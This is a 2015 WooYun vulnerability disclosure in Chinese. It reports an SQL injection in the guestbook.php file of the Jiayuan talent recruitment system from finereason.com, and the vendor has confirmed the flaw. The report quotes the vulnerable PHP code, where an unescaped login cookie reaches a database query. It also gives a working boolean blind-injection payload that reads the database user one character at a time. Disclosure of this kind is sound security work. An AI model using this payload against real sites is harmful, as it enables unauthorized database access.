当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-091394

漏洞标题:嘉缘人才系统SQL注入可获取任意数据#1

相关厂商:finereason.com

漏洞作者: 路人甲

提交时间:2015-01-13 10:52

修复时间:2015-04-13 16:58

公开时间:2015-04-13 16:58

漏洞类型:SQL注射漏洞

危害等级:低

自评Rank:5

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-13: 细节已通知厂商并且等待厂商处理中
2015-01-13: 厂商已经确认,细节仅向厂商公开
2015-01-16: 细节向第三方安全合作伙伴开放
2015-03-09: 细节向核心白帽子及相关领域专家公开
2015-03-19: 细节向普通白帽子公开
2015-03-29: 细节向实习白帽子公开
2015-04-13: 细节向公众公开

简要描述:

RT

详细说明:

在common/guestbook.php:

$page= isset($_GET['page'])?$_GET['page']:1;
$memberlogin='匿名';
if(_getcookie("user_login")!=''){
$disabled=" readonly";
$rs=$db->get_one("select m_email from {$cfg['tb_pre']}member where m_login='"._getcookie("user_login")."'");
if($rs){
$memberlogin=_getcookie("user_login");
$memberemail=$rs['m_email'];
}
}
$query=$db->query("select * from ".$cfg['tb_pre']."help join ".$cfg['tb_pre']."helpsort on `h_sortid`=`s_id` order by h_addtime desc limit 10");
while($row=$db->fetch_array($query)){
$list[]=$row;
}
$smarty->assign("list",$list);
$smarty->assign('memberlogin',$memberlogin);
$smarty->assign('memberemail',$memberemail);
$smarty->assign('disabled',$disabled);
$smarty->assign('veriArray',$veriArray);
display('common/guestbook.htm');


和之前的漏洞一样 _getcookie("user_login")没有做转义 直接带入sql语句,造成sql注入。 注入检查绕过不再重复,之前漏洞已经说过了。
利用bool型盲注法可以控制$memberemail的值(一种是通过前段传入,一种是sql语句读出)
POC:' and m_login=@`'` or 1=1 and ord(mid(user(),1,1))=113 limit 0,1 #

BaiduHi_2015-1-12_14-40-15.png


BaiduHi_2015-1-12_14-40-33.png


将113改成114后:

BaiduHi_2015-1-12_14-40-53.png

漏洞证明:

POC:' and m_login=@`'` or 1=1 and ord(mid(user(),1,1))=113 limit 0,1 #

BaiduHi_2015-1-12_14-40-15.png


BaiduHi_2015-1-12_14-40-33.png


将113改成114后:

BaiduHi_2015-1-12_14-40-53.png

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-01-13 23:39

厂商回复:

确认存在,即将更新。

最新状态:

暂无


漏洞评价:

评论